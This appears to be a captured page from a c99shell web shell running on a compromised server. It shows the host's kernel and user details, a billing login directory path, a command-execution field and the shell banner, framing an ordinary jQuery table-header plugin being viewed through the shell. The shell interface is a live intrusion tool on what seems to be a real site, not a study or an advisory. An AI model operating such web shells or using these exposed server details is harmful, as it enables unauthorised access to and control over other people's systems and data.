Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/billing/login/ drwxr-xr-x | |
| Viewing file: Select action/file-type: jQuery.fn.fixedtableheader = function(options)
{
var settings = jQuery.extend({ usethead: true, usecaption: true, headerrowsize: 1, highlightrow: false, highlightclass: "highlight" }, options);
this.each(function(i)
{
var $tbl = $(this);
var $tblcap = settings.usecaption && $tbl.find("> caption").length ? $tbl.find("> caption") : undefined;
if (settings.usethead) {
var $tblhfixed = $tbl.find("> thead tr");
} else {
var $tblhfixed = $tbl.find("tr:lt(" + settings.headerrowsize + ")");
}
var headerelement = "th";
if ($tblhfixed.find(headerelement).length == 0) headerelement = "td";
if ($tblhfixed.find(headerelement).length > 0)
{
$tblhfixed.find(headerelement).each(function() {
if ($(this).css('display') !== 'none') {
$(this).css("width", $(this).width());
}
});
var $clonedTable = $tbl.clone().empty();
var tblwidth = GetTblWidth($tbl);
$clonedTable.attr("id", "fixedtableheader" + i).css({ "position": "fixed", "top": "0", "left": $tbl.offset().left });
if (settings.usecaption && $tbl.find('caption').length) {
$clonedTable.append($tbl.find('caption').clone());
}
$clonedTable.append($('<thead>').append($tblhfixed.clone())).width(tblwidth).hide().appendTo($("body"));
$clonedTable.find('*[id]').each(function () {
$(this).attr('id', 'fth-'+$(this).attr('id'));
});
if (settings.highlightrow) $("tr:gt(" + (settings.headerrowsize - 1) + ")", $tbl).hover(function()
{
$(this).addClass(settings.highlightclass); }, function()
{
$(this).removeClass(settings.highlightclass);
});
$(window).scroll(function() {
if (jQuery.browser.msie && jQuery.browser.version == "6.0") $clonedTable.css({ "position": "absolute", "top": $(window).scrollTop(), "left": $tbl.offset().left });
else $clonedTable.css({ "position": "fixed", "top": "0", "left": $tbl.offset().left - $(window).scrollLeft() });
var sctop = $(window).scrollTop();
var elmtop = $tblhfixed.offset().top;
if ($tblcap) {
elmtop = $tblcap.offset().top;
}
if (sctop > elmtop && sctop <= (elmtop + $tbl.height() - $tblhfixed.height())) $clonedTable.show();
else $clonedTable.hide(); }); $(window).resize(function()
{
if ($clonedTable.outerWidth() != $tbl.outerWidth()) { $tblhfixed.find(headerelement).each(function(index)
{
var w = $(this).width();
$(this).css("width", w);
$clonedTable.find(headerelement).eq(index).css("width", w);
});
$clonedTable.width($tbl.outerWidth()); } $clonedTable.css("left", $tbl.offset().left);
});
}
});
function GetTblWidth($tbl) { var tblwidth = $tbl.outerWidth(); return tblwidth; }
};
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.029 ]-- |